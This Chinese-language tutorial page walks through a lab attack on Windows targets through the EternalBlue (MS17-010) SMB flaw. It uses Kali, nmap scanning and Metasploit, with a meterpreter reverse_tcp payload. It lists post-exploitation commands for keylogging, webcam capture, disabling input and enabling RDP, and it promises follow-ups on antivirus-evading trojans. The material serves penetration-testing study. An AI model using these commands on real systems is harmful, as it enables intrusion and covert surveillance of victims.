经典利用永恒之蓝漏洞对Windows操作系统进行攻击 | 您所在的位置:网站首页 › windows漏洞利用ms17-010查看身份 › 经典利用永恒之蓝漏洞对Windows操作系统进行攻击 |
利用永恒之蓝对Windows进行攻击
环境搭建:kali、Windows server 2008R2、Windows 7,其中Windows server 2008R2\WIN7为靶机。首先简单介绍一下什么是永恒之蓝,永恒之蓝【Eternal Blue】爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。关于“SMB” ?SMB协议[Server Message Block]是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,网上邻居也是SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP协议的139端口和TCP445端口。
【环境搭建】 -搭建kali,下载地址https://www.kali.org/ 在kali输入ifconfig查看本机IP
【信息收集】 按照正常攻击流程,我们是不知道本次局域网内其他两台靶机的IP地址和开放端口,使用nmap或者其他扫描主机端口的工具进行信息收集。我们这里使用nmap工具进行内网扫描,kali是一款集很多渗透测试使用的工具于一体的Linux。 关于nmap?nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。Nmap可用于扫描仅有两个节点的LAN,直至500个节点以上的网络。Nmap 还允许用户定制扫描技巧。通常,一个简单的使用ICMP协议的ping操作可以满足一般需求;也可以深入探测UDP或者TCP端口,直至主机所 使用的操作系统;还可以将所有探测结果记录到各种格式的日志中, 供进一步分析操作。 nmap相关命令: 进行ping扫描,打印出对扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测): nmap -sP 192.168.1.0/24 仅列出指定网络上的每台主机,不发送任何报文到目标主机: nmap -sL 192.168.1.0/24 探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80): nmap -PS 192.168.1.234 使用UDP ping探测主机: nmap -PU 192.168.1.0/24 使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快: nmap -sS 192.168.1.0/24 当SYN扫描不能用时,TCP Connect()扫描就是默认的TCP扫描: nmap -sT 192.168.1.0/24 UDP 扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU 192.168.1.0/24 确定目标机支持哪些IP协议 (TCP,ICMP,IGMP等): nmap -sO 192.168.1.19 探测目标主机的操作系统: nmap -O 192.168.1.19 nmap -A 192.168.1.19 nmap -sV -p 22,53,110,143,4564 188.116.0-255.1-127 进行主机列举和TCP扫描,对象为B类188.116网段中255个8位子网。这 个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口 打开,将使用版本检测来确定哪种应用在运行。 这里我在kali命令行模式下输入 nmap -sV 192.168.152.1/24进行主机探测
【攻击阶段】 接下来进行攻击步骤,这里利用kali里面的一个msfconsole 什么是msfconsole? 简单理解就是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,msfconsole简称msf。 MSF架构 Rex :操作系统级基本库,是MSF的底层依赖 MFS::Core :MSF底层库 MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库) MSF::UI :用户界面(最常用MSF console接口) 简单讲一下Msfconsole基础应用 msf目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。 modules中的模块主要包括: 1、exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads。 2、 payloads:攻击模块。成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads: 【1】 singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用。 【2】stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages) 【3】stages:利用stagers建立连接后,后续再传输的代码。 3、 auxiliary:没有payload的exploits模块,我个人理解为使用对应的漏洞扫描模块,先进行一个信息探测是不是可以利用此漏洞进行攻击。 4、 encoders:对payloads进行加密,躲避Anti Virus(AV防病毒检测)检查的模块。 5、 post:取得shell后,进一步运行的攻击指令{运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行。 在kali命令行模式输入msfconsole进入msf模式:
按照msf基本使用流程来操作 首先进行利用模块扫描输入命令use auxiliary/scanner/smb/smb_ms17_010
什么是攻击载荷?攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令 输入show payloads 该命令可以查看当前漏洞利用模块下可用的所有Payload 设置攻击载荷 输入命令set payload windows/x64/meterpreter/reverse_tcp
输入命令sysinfo查看系统信息为Windows 2008 R2 下面是一些meterpreter命令请各位大佬和小可爱们食用 启用远程桌面run getgui -e 或者 run post/windows/manage/enable_rdp 在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,方便搞事情。 键盘记录 keyscan_start开启键盘记录功能 keyscan_dump显示捕捉到的键盘记录信息 keyscan_stop停止键盘记录功能 禁止目标主机使用键盘鼠标 禁止(允许)目标使用键盘uictl disable (enable) keyboard 禁止(允许)目标使用鼠标uictl disable (enable) mouse 用目标主机摄像头拍照 获取目标系统的摄像头列表webcam_list 从指定的摄像头,拍摄照片webcam_snap 从指定的摄像头,开启视频webcam_stream 【进入shell模式】 直接输入shell 1、systeminfo查看操作系统,补丁情况。
小结: 回顾一下本次攻击大致流程,就是假设进入一个内网环境后,利用kali攻击内网主机的一个攻击思路。从使用nmap信息收集,利用信息中存在的开放端口加上系统版本,使用kali中的msf攻击,到拿到shell。简单介绍了一下永恒之蓝、nmap、提权,后面还有提权和维持权限,编写绕AV木马检测,上传木马这些操作我后面再更新。 【文章仅限网络安全爱好者学习参考使用,请勿用于非法途径。】 #网络安全爱好者#doyoubest |
CopyRight 2018-2019 实验室设备网 版权所有 |